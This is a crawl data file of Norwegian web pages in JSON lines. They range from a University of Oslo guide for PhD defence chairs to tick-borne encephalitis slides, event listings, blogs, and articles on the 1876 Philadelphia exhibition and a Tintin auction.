{"url": "http://www.med.uio.no/forskning/phd/avhandling-bedommelse/disputasleder/index.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:11:52Z", "text": "# Informasjon til disputasleder\n\nSom disputasleder skal du lede pr\u00f8veforelesning og disputas p\u00e5 en profesjonell og ryddig m\u00e5te.\n\n \nDette er en praktisk guide til deg som er disputasleder. Guiden er basert p\u00e5 regler for graden ph.d.\n\n## Din rolle\n\nSom disputasleder skal du lede pr\u00f8veforelesning og disputas, som til sammen utgj\u00f8r en kandidats offentlige forsvar av sin avhandling. Du er stedfortreder for dekan og opptrer p\u00e5 vegne av fakultetet.\n\nF\u00f8r disputasen f\u00e5r du tilsendt informasjon om disputasen, disputasledertekst og kandidatens avhandling.\n\nB\u00e5de pr\u00f8veforelesningen og disputasen f\u00f8lger et bestemt oppsett.\n\n## Pr\u00f8veforelesning\n\nDu \u00e5pner pr\u00f8veforelesningen med \u00e5 orientere om at den er et ledd i doktorgradspr\u00f8ven. Form\u00e5let med pr\u00f8veforelesningen\u00a0er at\u00a0kandidaten skal vise evne til \u00e5 gi en klar og pedagogisk framstilling av et vitenskapelig tema kombinert med bruken av tekniske hjelpemidler.\n\nDu skal opplyse tilh\u00f8rerne om at kandidaten har 45 minutter til disposisjon.\n\nDeretter er det 15 minutter til sp\u00f8rsm\u00e5l og kommentarer der du er ordstyrer. Dette m\u00e5 avtales med kandidat\u00a0og komit\u00e9 p\u00e5 forh\u00e5nd.\n\n## Disputas\n\nEn disputas er en offentlig begivenhet som gir universitetet et ansikt utad. Det er derfor viktig at\u00a0den gjennomf\u00f8res slik at tilh\u00f8rerne har mulighet til \u00e5 forst\u00e5 hovedpoengene i diskusjonen.\n\n### F\u00f8r disputas\n\nKontroller at tekniske hjelpemidler fungerer som de skal.\n\nDu informerer kandidaten og komit\u00e9en om opplegget for disputasen f\u00f8r dere g\u00e5r inn i salen i f\u00f8lgende rekkef\u00f8lge:\n\n  - Kandidaten\n  - Komit\u00e9leder\n  - 2\\. opponent\n  - 1\\. opponent\n  - Disputasleder\n\n### Gjennomf\u00f8ring\n\nDisputasen skal vise kandidatens evne til \u00e5 formidle og b\u00f8r derfor holde et h\u00f8yt pedagogisk niv\u00e5.\n\nKandidaten innleder disputasen med\u00a0maksimalt 20 minutters introduksjon av sin avhandling. Introduksjonen skal holdes i en form som tilh\u00f8rerne kan forventes \u00e5 forst\u00e5.\n\nDeretter har 1. opponent 75 minutter og 2. opponent\u00a045 minutter til \u00e5 utsp\u00f8rre kandidaten.\n\nDisputasen b\u00f8r v\u00e6re en levende vitenskapelig diskusjon, og du b\u00f8r som disputasleder\u00a0derfor aktivt oppmuntre til sp\u00f8rsm\u00e5l fra tilh\u00f8rerne. Eventuelle\u00a0sp\u00f8rsm\u00e5l fra salen skjer mellom innleggene til 1. og\u00a02. opponent.\n\nDu kan ogs\u00e5 gi mulighet for korte innlegg etter at 2. opponenten er ferdig. Du kan gjerne selv stille sp\u00f8rsm\u00e5l til kandidaten.\n\nF\u00f8r du erkl\u00e6rer disputasen for avsluttet f\u00e5r\u00a0kandidaten ordet. Kandidaten b\u00f8r avslutte med noen f\u00e5 setninger med takk til opponentene for opposisjonen og til fakultetet for anledningen til \u00e5 fremstille seg til doktorgradspr\u00f8ven.\n\n### Etter disputas\n\nN\u00e5r disputasen er avsluttet, f\u00f8rer du prosesjonen ut fra salen i omvendt rekkef\u00f8lge fra da dere gikk inn:\n\n  - Disputasleder\n  - 1\\. opponent\n  - 2\\. opponent\n  - Komit\u00e9leder\n  - Kandidat\n\nDu skal sende attestasjonsskjemaene som komit\u00e9en har signert ved godkjent pr\u00f8veforelesning og disputas til fakultetet.\n\n## Disputasmiddagen\n\nOfte holder kandidaten disputasmiddag i etterkant av disputasen, b\u00e5de for \u00e5 feire og\u00a0for \u00e5 takke komit\u00e9en og veilederne for deres innsats. Dette gjenspeiles i talene.\n\nF\u00f8rste tale etter velkommen til bords holdes av kandidaten, som takker Universitetet i Oslo, bed\u00f8mmelseskomit\u00e9en og veiledere\n\nNeste tale holdes av deg som disputasleder. Du \u00f8nsker kandidaten\u00a0velkommen som doktor\u00a0ved\u00a0fakultetet, og gratulerer med vel gjennomf\u00f8rt\u00a0doktorgrad. Eventuelt redegj\u00f8r du for hva fakultetet har bidratt med i den sammenheng i form av\n\n  - infrastruktur\n  - oppl\u00e6ring\n  - veiledning\n  - et godt rekrutteringsmilj\u00f8\n  - eventuelle andre ting\n\nDu b\u00f8r ogs\u00e5 takke bed\u00f8mmelseskomit\u00e9en for innsatsen p\u00e5 universitetets vegne.\n\nResten av denne relativt formelle og h\u00f8ytidelige talen kan du benytte til \u00e5 snakke om forskningens verdi, eventuelt viktige fakultetssynspunkter det vil v\u00e6re naturlig \u00e5 informere om, eller andre tema av strategisk betydning.\n\nDe neste talerne er vanligvis komit\u00e9leder og veileder.\n\n## Honorar\n\nEksternt tilsatte disputasledere f\u00e5r kr. 1 575,50 for ledelse av en disputas inkludert forberedelser.\n\nDisputasledere som er emeriti f\u00e5r kr. 955,- for ledelse av en disputas inkludert forberedelser.\n\n## Regelverk\n\n  - Forskrift for graden ph.d.\n  - Fakultetets utfyllende regler\n  - Ramme for disputas\n\n  - Ja, jeg fant det\n  - Nei, jeg fant det ikke\n\nPublisert 17. apr. 2015 11:13  - Sist endret 8. juni 2017 09:57\n\n", "language": "no", "__index_level_0__": "f26bd06b-810f-4287-8080-1c7775397e2a"}
{"url": "https://moldequiltelag.wordpress.com/2016/10/14/quiltetur-til-finnoya/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:13:28Z", "text": "# Molde Quiltelag\n\n## Quiltetur til Finn\u00f8ya\n\noktober 14, 2016 av moldequiltelag\n\nEi nydelig helg i juni var en del quiltedamer fra Molde p\u00e5 Finn\u00f8ya. Ingrid hadde planlagt et flott opplegg med demonstrasjoner, sying, god mat og hyggelig samv\u00e6r. Cecilie var behjelpelig for alle som ville lage \u00abSew together bag\u00bb og Marit viste hvordan man kunne bli mer kreativ med symaskin. Alle kunne sy p\u00e5 det de ville, og vi har sett flotte resultater p\u00e5 quiltem\u00f8tene i h\u00f8st.\n\nI ettertid av quiltehelgen har det bare v\u00e6rt positive ting \u00e5 h\u00f8re, s\u00e5 vi pr\u00f8ver \u00e5 arrangere et lignende opplegg der til neste v\u00e5r ogs\u00e5. Tusen takk til de som deltok og s\u00f8rget for at det ble ei toppers helg p\u00e5 Finn\u00f8y Sj\u00f8hus. Og ekstra kjekt er det n\u00e5r v\u00e6rgudene er med oss.\n\nHer er et lite overblikk over flittige og blide damer i et kjempefint kurslokale. Demonstrere, l\u00e6re, skj\u00e6re, stryke, sy og vise. Sosialt fellesskap er ogs\u00e5 viktig. HER er enda flere bilder fra helgen.\n\n\n\n\n\n\n\n\n\n\n\n\u00a0\n", "language": "no", "__index_level_0__": "5a22dc72-0366-4c9b-82d9-109012f86b1f"}
{"url": "https://www.oslo-fjord.no/hva-skjer-i-ostfold/2015/6/24/kaptein-rdskjegg-sjrverne", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00667.warc.gz", "warc_date": "2018-03-24T23:52:35Z", "text": "# OSLO FJORD\n# Kaptein R\u00f8dskjegg & Sj\u00f8r\u00f8verne\n\n  - Wednesday, June 24, 2015\n  -  4:00 AM  5:00 AM   04:00  05:00 \n\n**Onsdag 24. juni kl. 16:00**  \n  \nKaptein R\u00f8dskjegg & Sj\u00f8r\u00f8verne  \n  \nSTED: Dampskipsbrygga, Fredrikstad  \n  \nKj\u00f8p billetter til forestillingen 24. juni\u00a0HER.\n\nDenne forestillingen kan du ogs\u00e5 f\u00e5 med deg i Moss; fra 26. juni til 5. juli. Se alle dagene HER.  \n  \nVerdens morsomste sj\u00f8r\u00f8vere har utvidet sin sangskattekiste med flere pirathits, de har nye eventyr fra de 7 hav, spennende og hysteriske historier \u00e5 fortelle og Kaptein R\u00f8dskjegg tror han har l\u00e6rt seg \u00e5 trylle... Dette er en fantastisk piratforestilling som passer for pirater og piraterinner i alle aldre. Voksne ogs\u00e5\\!\u00a0  \n  \n**For hvert barn g\u00e5r en voksen gratis uten billett.\u00a0  \nD\u00f8rene \u00e5pnes kl 15:00 - Hovedartist ca. kl. 16:00.\u00a0  \nVarighet 60 min. uten pause.\u00a0  \nKiosk, mat.\u00a0**\n\n", "language": "no", "__index_level_0__": "8636dce7-6984-43aa-99f6-07b00fd07eb3"}
{"url": "http://slideplayer.no/slide/2145732/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00088.warc.gz", "warc_date": "2018-03-24T23:16:01Z", "text": "I Skandinavia er TBE endemisk i kystomr\u00e5dene rundt \u00d8stersj\u00f8en. Raporter om TBE fra Sverige og Finland i 1954 and 1956, Bornholm 1963, Danmark for\u00f8vrig 2009. TBE er ikke diagnostisert in Norge f\u00f8r 1997 (1,2) I perioden er 55 tilfeller av innenlandssmittet TBE diagnostisert i Norge Kliniske symptomer og laboratoriefunn fra de 8 f\u00f8rste pasientene er publisert (4). Tone Skarpaas, S\u00f8rlandet sykehus  I perioden 1997-2010 er 55 tilfeller av innenlandssmittet TBE diagnostisert i Norge. Kliniske symptomer og laboratoriefunn fra de 8 f\u00f8rste pasientene er publisert (4). Tone Skarpaas, S\u00f8rlandet sykehus.\")  \n\n 11  **Tone Skarpaas, S\u00f8rlandet sykehus**  \nTBE i Europa Inkubasjonstid: Gjennomsnitt 11 dager (4-28 d) fra fl\u00e5ttbitt (Kaiser 1999) Prodromalstadium 1-7 dager Intermedi\u00e6r asymptomatisk fase: 3-21 dager Sekvele. Avhengig av sykdomsbilde og alder. Mortalitet 1-2 % Tone Skarpaas, S\u00f8rlandet sykehus  fra fl\u00e5ttbitt (Kaiser 1999) Prodromalstadium 1-7 dager. Intermedi\u00e6r asymptomatisk fase: 3-21 dager. Sekvele. Avhengig av sykdomsbilde og alder. Mortalitet 1-2 % Tone Skarpaas, S\u00f8rlandet sykehus.\")  \n\n 16  **Tone Skarpaas, S\u00f8rlandet sykehus**  \nTBE manifestasjoner Oschmann. Lyme borreliosis and Tick-borne Encephalitis. Uni-Med. 1999 Tone Skarpaas, S\u00f8rlandet sykehus   \n\n 17  **Tone Skarpaas, S\u00f8rlandet sykehus**  \nTBE tilfeller i Norge Skarpaas T, Lj\u00f8stad U, Sund\u00f8y A. First Human cases of Tickborne Encephalitis, Norway. Emerg Infect Dis ; 8 tilfeller 42\u201374 \u00e5r gamle 7 menn, 1 kvinne Ingen av de 8 pasientene hadde: v\u00e6rt utenlands de siste ukene f\u00f8r sykdomsdebut v\u00e6rt vaksinert mot TBE eller ander flavivirus Arbeidet med sau eller geit Tone Skarpaas, S\u00f8rlandet sykehus   \n\n 18  **Tone Skarpaas, S\u00f8rlandet sykehus**  \nKliniske bilder Bifasisk forl\u00f8p hos 2/8 Alle hadde intens hodepine 7/8 kvalme og 6/8 brekninger 7/8 innlagt sykehus 3/8 redusert bevissthet 2/8 mentale forstyrrelser 3/8 ataxia, ust\u00f8het 1/8 dobbeltsyn 1/8 talevansker 1/8 parese av \u00f8ye-, farynx og skulder muskler 1/8 epileptisk anfall Tone Skarpaas, S\u00f8rlandet sykehus   \n\n 19  **Tone Skarpaas, S\u00f8rlandet sykehus**  \n 20  **Tone Skarpaas, S\u00f8rlandet sykehus**  \nTBEV p\u00e5visning Skarpaas T, Golovljova I, Vene S et al. Tickborne Encephalitis Virus, Norway and Denmark. Emerg Infect Dis. 2006; 12: Materiale 810 fl\u00e5tt samlet i terreng (\"flagging\") fra Agder fylkene i omr\u00e5der hvor TBE tilfeller er registrert akutt fase serum fra 2 nordmenn med TBE f\u00f8r TBEV-IgM kunne p\u00e5vises 1 smittet i Norge -1 smittet p\u00e5 Bornholm i Danmark Metode Deteksjon: RT-PCR. Amplifikasjon av 5\u00b4 \"noncoding region\" Subtyping: E-protein gen amplifikasjon. Sekvensering av E-gen amplikon. Fylogenetisk tre basert p\u00e5 E-gen sekvenseringsdata. Tone Skarpaas, S\u00f8rlandet sykehus  fra Agder fylkene i omr\u00e5der hvor TBE tilfeller er registrert. akutt fase serum fra 2 nordmenn med TBE. f\u00f8r TBEV-IgM kunne p\u00e5vises. 1 smittet i Norge -1 smittet p\u00e5 Bornholm i Danmark. Metode. Deteksjon: RT-PCR. Amplifikasjon av 5\u00b4 noncoding region Subtyping: E-protein gen amplifikasjon. Sekvensering av E-gen amplikon. Fylogenetisk tre. basert p\u00e5 E-gen sekvenseringsdata. Tone Skarpaas, S\u00f8rlandet sykehus.\")  \n\n 27  **Tone Skarpaas, S\u00f8rlandet sykehus**  \nResultater Fl\u00e5tt: TBEV prevalens 0.2 \u2013 0.3 % fra 360 fl\u00e5tt i pool (10 ticks) positiv. fra 450 fl\u00e5tt i pool positiv. Pasienter: - 2 pasienter - 2 TBEV p\u00e5vist. Tone Skarpaas, S\u00f8rlandet sykehus  positiv. fra 450 fl\u00e5tt i 2004- 1 pool positiv. Pasienter: - 2 pasienter - 2 TBEV p\u00e5vist. Tone Skarpaas, S\u00f8rlandet sykehus.\")  \n\n 28  **Tone Skarpaas, S\u00f8rlandet sykehus**  \nNylig registrerte TBE foci i Skandinavia Sverige: Nye foci i syd-vest Danmark: Bornholm Norge. Agder fylkene Vestfold Telemark Er de nye foci registrert pga. \u00f8kt oppmerksomhet, eller er det reelt nye foci? Randolph SE (2000) Advances in Parasitology 47,217-43 Tone Skarpaas, S\u00f8rlandet sykehus  Advances in Parasitology 47,217-43. Tone Skarpaas, S\u00f8rlandet sykehus.\")  \n\n 30  **Behandling/forebygging**  \nSymptomatisk terapi. Ingen tilgjengelig kausal terapi. Forebygging: Vaksine G\u00e5 p\u00e5 sti. Klesdrakt Insektmidler Tone Skarpaas, S\u00f8rlandet sykehus   \n\n 31  **Vaksinasjonsr\u00e5d fra Folkehelseinstituttet (FHI) 2009**  \nSelv om det er fortsatt relativt lav forekomst av sykdommen i Norge, anbefaler n\u00e5 Folkehelsinstituttet at ogs\u00e5 kystkommunene i Telemark og Larvik i Vestfold omfattes i de omr\u00e5der hvor TBE-vaksine b\u00f8r vurderes gitt til personer som ferdes mye i skog og mark og som erfaringsmessig ofte blir bitt av fl\u00e5tt. De nye anbefalingene omfatter kommunene: Aust-Agder: Ris\u00f8r, Tvedestrand, Arendal, Grimstad og Lillesand Vest-Agder: Kristiansand, S\u00f8gne, Mandal, Lindesnes, Lyngdal, Farsund og Flekkefjord Telemark: Krager\u00f8, Bamble, Porsgrunn Vestfold: Larvik Tone Skarpaas, S\u00f8rlandet sykehus   \n\n 32  **Tone Skarpaas, S\u00f8rlandet sykehus**  \nVaksine mot TBE Vaksinen gir dekning mot alle subtyper av virus Basisvaksinasjon. 3 doser i l\u00f8pet av 12 -max. 15. mndr. Boosterdose hvert \u00e5r Beskyttelseseffekt 95 % etter grunnvaksinering (3 doser) Tone Skarpaas, S\u00f8rlandet sykehus  Tone Skarpaas, S\u00f8rlandet sykehus.\")  \n\nKontraindikasjon: Overf\u00f8lsomhet for innholdsstoffer. Alvorlig overf\u00f8lsomhet for egg/kyllingprot. Utsettes ved akutt febersykdom Forsiktighet ved autoimmune sykdommer og cerebrale sykdommer. Gravide/amming: opplysninger mangler. Veie beskyttelsesbehov mot graviditet. Tone Skarpaas, S\u00f8rlandet sykehus   \n\n 36  **Tone Skarpaas, S\u00f8rlandet sykehus**  \nTicovac Bivirkninger Sv\u00e6rt hyppig: Reaksjon p\u00e5 injeksjonsstedet Hyppig (\\>1/100): Kvalme, tretthet, myalgi/artralgi, hodepine Sjelden (\\<1/1000): Overf\u00f8lsomhet, somnolens, diar\u00e9, abdominale smerter Rapportert: Forverring av autoimmune sykdommer, encefalitt, utslett med mer. Tone Skarpaas, S\u00f8rlandet sykehus : Kvalme, tretthet, myalgi/artralgi, hodepine. Sjelden (\\<1/1000): Overf\u00f8lsomhet, somnolens, diar\u00e9, abdominale smerter. Rapportert: Forverring av autoimmune sykdommer, encefalitt, utslett med mer. Tone Skarpaas, S\u00f8rlandet sykehus.\")  \n\n 37  **TBE vaksinasjon i Norge**  \nKilde \u00c5rsrapport 2011 Folkehelseinstituttet: Jevnt stigende antall vaksineres Solgt i Norge 2010: 19949 voksendoser (fra 16 \u00e5r), 6237 barnedoser SYSVAK. Ca 50% av registrerte barn og voksne har f\u00e5tt to eller flere doser? Tone Skarpaas, S\u00f8rlandet sykehus , 6237 barnedoser. SYSVAK. Ca 50% av registrerte barn og voksne har f\u00e5tt to eller flere doser Tone Skarpaas, S\u00f8rlandet sykehus.\")  \n\n 38  **Tone Skarpaas, S\u00f8rlandet sykehus**  \nKonklusjoner Fra er det registrert ca. 55 tilfeller av TBE smittet i Norge Genom fra TBEV, TBEV-Eu subtype er p\u00e5vist i serum fra en innenlands smittet pasient i Norge. Seroprevalens studier indikerer at noen \"spots\" langs kysten kan ha h\u00f8yere insidens av TBE enn resten av Agder fylkene. TBE er en alvorlig sykdom TBE forekommer langs kysten s\u00f8r i Norge. TBE er en sjelden sykdom i Norge Tone Skarpaas, S\u00f8rlandet sykehus   \n\n 39  **Tone Skarpaas, S\u00f8rlandet sykehus**  \n", "language": "no", "__index_level_0__": "39b05d82-148d-46e7-b826-0d3ca1b0bee9"}
{"url": "http://distant.blogg.no/1467214968_frokost_p_senga.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00791.warc.gz", "warc_date": "2018-03-24T23:14:23Z", "text": "# frokost p\u010b senga\n\n  \nI dag v\u010bknet vi til sol, fuglekvitter og frisk luft, som var en utrolig deilig m\u010bte \u010b starte dagen p\u010b. Thea, Kine og jeg endte opp med \u010b sove ute i g\u010br, etter at vi s\u010b en drit-teit\u00a0film om noe barnevakt-prostitusjons-greier. Det begynte egentlig \u010b bli lyst n\u010br vi la oss, og jeg sovnet ikke f\u011dr fire, og da s\u010b det ut som om det var midt p\u010b dagen. L\u010b og stirret i gresset en god stund f\u011dr jeg endelig fikk sove, fikk til slutt\u00a0en god natts s\u011dvn ute i det fri *(haha, kanskje en liten overdrivelse, men vi sov ihvertfall utend\u011drs da)*. En liten stund etter at vi kom til live i dag tidlig, serverte moren til Thea frokost p\u010b senga, s\u010b koselig som hun er\u00a0\u2665\n\n\u00a0\n\n\n\u00a0\nN\u010b skal jeg spise middag med familien, og forberede meg mentalt p\u010b et tannlegebes\u011dk i morgen. Pr\u011dver \u010b v\u0109re positiv da, forh\u010bpentligvis har jeg null hull. I morgen skal jeg ogs\u010b en tur til Oslo med Amanda og Thea, som blir superkoselig\u00a0\u2665\u00a0\n\n  \n### 7 kommentarer\n\n **Postet av:** Janne\n\n\u010b\u010b s\u010b deilig da\\! Lykke lit hos tannlegen i morgen, og kos deg i Oslo\\! :D\n\n**Dato:** 29.06.2016 **Tid:** 17:48 **Web:** http://myonlinediaryy.blogg.no\n\n **Postet av:** Jeanett\nDet s\u010b godt ut\\! Lykke til hos tannlegen:)\n\n **Postet av:** Henriette Celin\n\nS\u010b snilt av henne da. Kos deg videre, og lykke til hos tannlegen i morgen ^^\n\n **Postet av:** ida\n\n\u010bhh s\u010b herlig :D haha den filmen har jeg ogs\u010b sett. den er s\u010b\u010b\u010b\u010b d\u010brlig omg :\u00b4D\n\nHerlig med frokost p\u010b sengen\u2665\n\n\u010ah, det s\u010b kjempegodt ut\\! :)\n\n **Postet av:** Maren\n\nS\u010b hyggelig \u010b f\u010b mat p\u010b senga da:). Lykke til med tennene i morgen :)\n\n", "language": "no", "__index_level_0__": "0f3d9dda-b902-4ce7-8572-5c57ba12c662"}
{"url": "https://no.wikipedia.org/wiki/Verdensutstillingen_i_Philadelphia_(1876)", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-25T00:10:41Z", "text": "# Verdensutstillingen i Philadelphia (1876)\n\n\n\nHorticultural Hall. (1876)\n\n**Verdensutstillingen i Philadelphia i 1876**, (**Centennial International Exhibition**, **International Exhibition of Arts, Manufactures, and products of the Soil and Mine**) var en verdensutstilling som ble avholdt i Philadelphia, Pennsylvania i perioden 10. mai 1876 til 10. november samme \u00e5r. Dette var den f\u00f8rste offisielle verdensutstillingen som gikk av stabelen i USA og form\u00e5let var \u00e5 feire hundre\u00e5rsjubileet for USAs selvstendighetserkl\u00e6ring som ble undertegnet i Philadelphia i 1776.\n\nUtstillingen ble holdt i Fairmount Park langs elven Schuylkill. Utstillingsomr\u00e5det ble tegnet av Hermann Schwarzmann. Rundt 10 millioner bes\u00f8kende kom til utstillingen i l\u00f8pet av den tiden den varte.\n\nDet ble ringt med klokker over hele Philadelphia da utstillingen startet og under \u00e5pningsseremonien medvirket USAs president Ulysses S. Grant og den brasilianske keiseren Pedro II. \u00c5pningsseremonien ble avsluttet i Machinery Hall med at Grant og keiser Pedro slo p\u00e5 dampmaskinen som ga energi til de flest maskinene under utstillingen.\n\n\n\nHovedbygningen under verdensutstillingen.\n\nUtstillingens hovedbygning var av midlertidig karakter og satt opp av prefabrikkerte deler av tre, jern og glass. Selve utstillingshallen innvendig hadde et areal p\u00e5 21,5 hektar. Utstillingene i hovedbygningen handlet om gruvearbeide, metallurgi, tilvirkning, utdannelse og teknikk. Vest for hovedbygningen l\u00e5 Machinery Hall og her var temaet maskinindustri. Agricultural Hall viste utstillinger med produkter og maskiner innenfor jordbruket.\n\nTil forskjell fra flere av de andre bygningene var Horticultural Hall ment \u00e5 v\u00e6re permanent. Horticultural Hall ble tegnet av ingeni\u00f8ren Hermann J. Schwarzmann og han hadde aldri tidligere tegnet en bygning. Bygningen var tegnet i maurisk stil og skulle v\u00e6re tributt til Krystallpalasset fra verdensutstillingen i London i 1851. Bygningens utstillinger spesialiserte seg p\u00e5 vekster og etter verdensutstillingen fortsatte den \u00e5 vise det. Bygningen ble hardt rammet av orkanen Hazel i 1954 og ble \u00f8delagt.\n\nMemorial Hall i Philadelphia ble ogs\u00e5 tegnet av Hermann J. Schwarzmann. Huset ble tegnet i Beaux-Artsstil og det var her kunstutstillingene fant sted. Verdensutstillingen fikk s\u00e5 mange kunstbidrag at man m\u00e5tte bygge et separat anneks for \u00e5 f\u00e5 plass til alt. Utstillingen hadde ogs\u00e5 en bygning som viste fotografier.\n\nEtter verdensutstillingen gjenoppf\u00f8rtes Memorial Hall i 1877 som Pennsylvania Museum of the School of Industrial Art. I 1928 ble skolen flyttet til et annet sted og bygningen overtatt av Philadelphia Museum of Art.\n\n26 andre delstater i USA hadde egne bygninger under utstillingen og av disse er Ohio House det eneste som finnes igjen.\n\n\n\nItaliensk utstilling i Memorial Hall anneks\n\nTeknologier som ble introdusert under utstillingen var blant annet Corliss dampmaskin. Waltham Watch Company viste det f\u00f8rste automatiske urverket og vant gullmedalje i den f\u00f8rste internasjonale klokkekonkurransen.\n\nUnder utstillingen presenterte den tyrkiske delegasjonen marijuana for USA. Dette var et av de mest bes\u00f8kte objektene under verdensutstillingen.\n\n", "language": "no", "__index_level_0__": "f03ee1e2-efe5-41f8-9a3e-c0dc80c0d1cf"}
{"url": "http://resett.no/2017/12/08/pa-denne-dag-slik-ble-verdens-storste-formue-borte/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00375.warc.gz", "warc_date": "2018-03-24T23:10:56Z", "text": "# P\u00e5 denne dag \u2013 Slik ble verdens st\u00f8rste formue borte\n\nCorporate Communications8. desember 20178. desember 2017**7\n\n\n\nCornelius Vanderbilt III, barnebarnet til Commodore Vanderbilt (Cornelius Vanderbilt) som grunnla en av Amerikas st\u00f8rste industrielle imperier, her med sin datter Grace Vanderbilt Davis i Hialeah Park, 5. mars, 1938. (Foto: AP)\n\n**P\u00e5 denne dag i 1885 d\u00f8de William Henry Vanderbilt og etterlot seg verdens st\u00f8rste formue \u2013 som barna satte over styr.**\n\nDet var faren, Cornelius Vanderbilt, som la grunnlaget for familieformuen innen jernbaner og shipping p\u00e5 1800-tallet. Han etterlot en av USA st\u00f8rste formuer til William Henry, som forvaltet denne godt frem til sin d\u00f8d.\n\nMen William Henry hadde \u00e5tte barn, og disse levde et makel\u00f8st luksusliv. De bygde enorme herskapshus p\u00e5 Manhattan \u2013 det st\u00f8rste med 154 rom \u2013 og overd\u00e5dige landsteder, som The Breakers og Marble House i Rhode Island\u00a0og Biltmore Estate i North Carolina (bildet).\n\nVanderbilt-familiens jetsetliv ble et symbol p\u00e5 det forfatteren Mark Twain kalte \u00abthe gilded age\u00bb, den forgylte tidsalder, med store sosiale problemer dekket med et tynt lag med ufattelig rikdom.\n\nKombinasjonen av overd\u00e5dig pengebruk og lite arbeid og verdiskaping t\u00e6rte p\u00e5 familieformuen, som ogs\u00e5 ble fordelt p\u00e5 stadig flere slektninger. I tillegg rammet b\u00f8rskrakket i 1929 hardt.\n\nI 1973, da 120 familiemedlemmer m\u00f8ttes for \u00e5 feire hundre\u00e5rsjubileet for Vanderbilt University i Tennessee, var det angivelig ikke en eneste dollarmillion\u00e6r blant dem.\n\nRiktignok har enkelte familiemedlemmer gjort suksess, men det har i liten grad v\u00e6rt knyttet til familieformuen. Blant disse er designeren Gloria Vanderbilt og hennes s\u00f8nn, TV-journalisten Anderson Cooper.\n\nVanderbilt-familien blir gjerne brukt som kroneksempelet p\u0102\u0104 at den tredje generasjonen ofte tuller bort en familieformue.\n\n(Teksten er med tillatelse hentet fra\u00a0Corporate Communications\u00a0nyhetsbrev fredag 8. desember)\n\n  \nPublisert: des 8, 2017 @ 2:14 pm\n\n  \n", "language": "no", "__index_level_0__": "367a6236-14b9-4841-b2f4-a155b7fa1c53"}
{"url": "http://www.kunsthall.no/default.asp?AID=2762&ID=31&K=35&AAR=2018&MND=1&index=3", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00143.warc.gz", "warc_date": "2018-03-24T23:48:51Z", "text": "Jungelen 2 \u00e5r: Modal Afrique (live) + DJ Simon Alejandro Jungelen presenterer: 20.\u00a0januar\u00a02018\u00a0Kl.:\u00a022:00\u00a0  Landmark\u00a0\u00a0Klubb, Konsert  \n  \n  \nCC: 100 KR,-  \n20 \u00e5r  \n22.00: Simon Alejandro / Happy Hour / Jungelen fotoutstilling  \n23.30: Modal Afrique (live)  \n00.15: Simon Alejandro  \n  \n Hvordan feire at vi n\u00e5 har arrangert klubbkvelder i 2 \u00e5r? Jo, vi booker inn Norges (kanskje?) eneste og beste afrobeat-band best\u00e5ende av noen av landets desidert st\u00f8digste musikere og ber dem spille en laaang konsert som definitivt kommer til \u00e5 bli sittende i minnet..  \n  \nVi vet ikke om bandet er klare for dere, eller om dere er klare for bandet.. men alt vi vet at dere b\u00f8r komme mange, komme tidlig, og som vanlig v\u00e6re forberedt p\u00e5 dans og glede... Simon Alejandro er selvf\u00f8lgelig p\u00e5 plass og gj\u00f8r et 4-timers dj-set som nok best\u00e5r av den mest dansbare musikken fra land og \u00f8yer som Brazil, Colombia, Nigeria, Frankrike, UK, Guadeloupe, Martinique osv..  \n  \nJungelfotograf Elsa Enestig kj\u00f8rer oss opp med utstilling med de beste bildene fra kveldene v\u00e5re hittil, mens gjengen i baren s\u00f8rger for kalde drinker (caipirinhas? rom?) n\u00e5r d begynner \u00e5 varme seg opp p\u00e5 Landmark Bergen..  \n  \n\n", "language": "no", "__index_level_0__": "ff124ad0-ad88-4b30-8a27-7ab546121dfe"}
{"url": "https://www.nrk.no/kultur/tintin-tegning-solgt-for-rekordbelop-1.13235977", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:43:18Z", "text": "# Tintin-tegning solgt for rekordbel\u00f8p\n\nEn original Tintin-tegning fra tegneseriealbumet \u00abM\u00e5nen tur-retur\u00bb fra 1954 er solgt p\u00e5 auksjon for 1,55 millioner euro.\n\n\n\nKilde: *NTB*\n  Publisert  19.11.2016, kl. 17.25 \n  Publisert  19.11.2016, kl. 17.25 \n\nTegningen, som viser Tintin, Terry og kaptein Haddock i romdrakter p\u00e5 m\u00e5nen, m\u00e5ler 50 ganger 35 centimeter, og er tegnet med kinesisk blekk av Tintin-skaperen Herg\u00e9, som egentlig het Georges Remi.\n\nPrisen er rekord for en enkelttegning fra en tegneserie, og p\u00e5 forh\u00e5nd var det ventet at den ville g\u00e5 for mellom 700.000 og 900.000 euro. Auksjonen i Paris ble holdt av auksjonshuset Artcurial.\n\nHvem som fikk tilslaget p\u00e5 1,55 millioner euro, eller rundt 14 millioner kroner, er ikke opplyst.\n\nI 2012 ble tegningen fra f\u00f8rstesiden til \u00abTintin i Amerika\u00bb fra 1932 solgt for 1,3 millioner euro. Herg\u00e9 har ogs\u00e5 prisrekorden for tegneseriestriper \u2013 en dobbeltside som ble brukt som innercover for alle Tintin-album mellom 1937 og 1958 ble solgt for 2,65 millioner euro til en amerikansk fan for to \u00e5r siden.\n\nAlbumet \u00abM\u00e5nen tur-retur\u00bb er ansett for \u00e5 v\u00e6re blant de beste i den belgiske serien om journalisten Tintin og hans trofaste f\u00f8lgesvenn, hunden Terry.\n\n\u2013 Det er et av de viktigste fra Herg\u00e9 etter krigen, p\u00e5 linje med \u00abTintin i Tibet\u00bb og \u00abCastafiores juveler\u00bb, sier Artcurials 